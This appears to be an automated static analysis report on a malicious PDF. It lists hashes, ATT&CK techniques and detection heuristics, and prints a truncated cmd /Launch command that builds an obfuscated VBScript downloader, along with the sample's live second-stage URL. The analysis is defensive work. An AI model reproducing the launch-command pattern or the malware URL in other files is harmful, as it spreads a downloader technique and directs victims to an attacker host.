Malicious PDF — malware analysis report

Static analysis result for SHA-256 f2c8af91cb1c5133…

MALICIOUS

PDF

785 B
MD5: 8a2c9e529a84752ad2114578e95bc8e7 SHA-1: ed53a72213174289c3131b044c96cbdcbff389c4 SHA-256: f2c8af91cb1c5133ff00002740271f57833c04d1739c60ebd6a43cbf49a512ed
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File

The PDF file contains a launch action that executes cmd.exe. This command then appears to construct and execute a VBScript payload. The script likely downloads and executes a second-stage payload from the embedded URL http://slmstse.co.cc/x/img.php?d=1. The VBScript payload is partially reconstructed from the PDF launch command: cmd /c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM" "Scripting.FileSystemObject" A.GetSpecialFolder(2 "WScript.Shell" 2. The exact functionality of the VBScript is not fully discernible due to truncation, but the overall pattern suggests a downloader.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://slmstse.co.cc/x/img.php?d=1

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_00000067.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5
pdf-embedded-script PDF decompressed stream script payload at offset 0x67 63 bytes